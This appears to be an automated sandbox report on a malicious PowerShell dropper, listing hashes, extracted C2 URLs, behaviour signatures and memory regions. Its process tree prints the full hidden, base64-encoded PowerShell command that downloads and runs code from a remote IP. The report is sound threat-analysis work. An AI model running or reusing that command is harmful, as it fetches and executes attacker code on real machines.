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Analysis

  • max time kernel
    119s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    04/09/2024, 02:21

General

  • Target

    d6513550cc5256ece6007aeafe9d39c4cda4c8ccab2daebe5c48d0583e1b02f6.ps1

  • Size

    1KB

  • MD5

    506ab5ff15cbec266b783816aca9f5d0

  • SHA1

    761fe13954ee140c3a32a058ca7654a3a6090a02

  • SHA256

    d6513550cc5256ece6007aeafe9d39c4cda4c8ccab2daebe5c48d0583e1b02f6

  • SHA512

    b8680737d8afe1dd1fff2a6ca919630c033cb5b7233a5f2bfebf7b629f28f341ffd4eb47b2a14df5d56b21187107c8fdf79fc7d93ace39891571108ca51aeece

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://207.154.255.134:8443/ZIen7RH/1zFNrVrn0

ps1.dropper

http://207.154.255.134:8443/ZIen7RH

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\d6513550cc5256ece6007aeafe9d39c4cda4c8ccab2daebe5c48d0583e1b02f6.ps1
    1⤵
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:292
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJABsAE4AbwBpAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwBpAGYAKABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBQAHIAbwB4AHkAXQA6ADoARwBlAHQARABlAGYAYQB1AGwAdABQAHIAbwB4AHkAKAApAC4AYQBkAGQAcgBlAHMAcwAgAC0AbgBlACAAJABuAHUAbABsACkAewAkAGwATgBvAGkALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsAJABsAE4AbwBpAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMgAwADcALgAxADUANAAuADIANQA1AC4AMQAzADQAOgA4ADQANAAzAC8AWgBJAGUAbgA3AFIASAAvADEAegBGAE4AcgBWAHIAbgAwACcAKQApADsASQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAyADAANwAuADEANQA0AC4AMgA1ADUALgAxADMANAA6ADgANAA0ADMALwBaAEkAZQBuADcAUgBIACcAKQApADsA
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1324

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

    Filesize

    7KB

    MD5

    6275527caf77ed5640d7183f42f026b8

    SHA1

    3623015186cdaa0ed18f995058e75fedef9accbc

    SHA256

    9ecd4cdd4dbe1761e4d8895137098b9909eece9ceb34956644cb51f7beca2212

    SHA512

    3ee4af03335b16cca1f81a886830e351e45e4c5a075e173c2fee527b748c3e8a7e5260ceed7f463f8c30930575365f9647622cd62e110d35ab180872870811ae

  • memory/292-7-0x000007FEF56D0000-0x000007FEF606D000-memory.dmp

    Filesize

    9.6MB

  • memory/292-5-0x000000001B7C0000-0x000000001BAA2000-memory.dmp

    Filesize

    2.9MB

  • memory/292-4-0x000007FEF598E000-0x000007FEF598F000-memory.dmp

    Filesize

    4KB

  • memory/292-8-0x000007FEF56D0000-0x000007FEF606D000-memory.dmp

    Filesize

    9.6MB

  • memory/292-9-0x000007FEF56D0000-0x000007FEF606D000-memory.dmp

    Filesize

    9.6MB

  • memory/292-6-0x0000000002220000-0x0000000002228000-memory.dmp

    Filesize

    32KB

  • memory/292-16-0x000007FEF598E000-0x000007FEF598F000-memory.dmp

    Filesize

    4KB

  • memory/292-17-0x000007FEF56D0000-0x000007FEF606D000-memory.dmp

    Filesize

    9.6MB

  • memory/292-20-0x000007FEF56D0000-0x000007FEF606D000-memory.dmp

    Filesize

    9.6MB

  • memory/1324-15-0x000007FEF56D0000-0x000007FEF606D000-memory.dmp

    Filesize

    9.6MB

  • memory/1324-18-0x000007FEF56D0000-0x000007FEF606D000-memory.dmp

    Filesize

    9.6MB

  • memory/1324-19-0x000007FEF56D0000-0x000007FEF606D000-memory.dmp

    Filesize

    9.6MB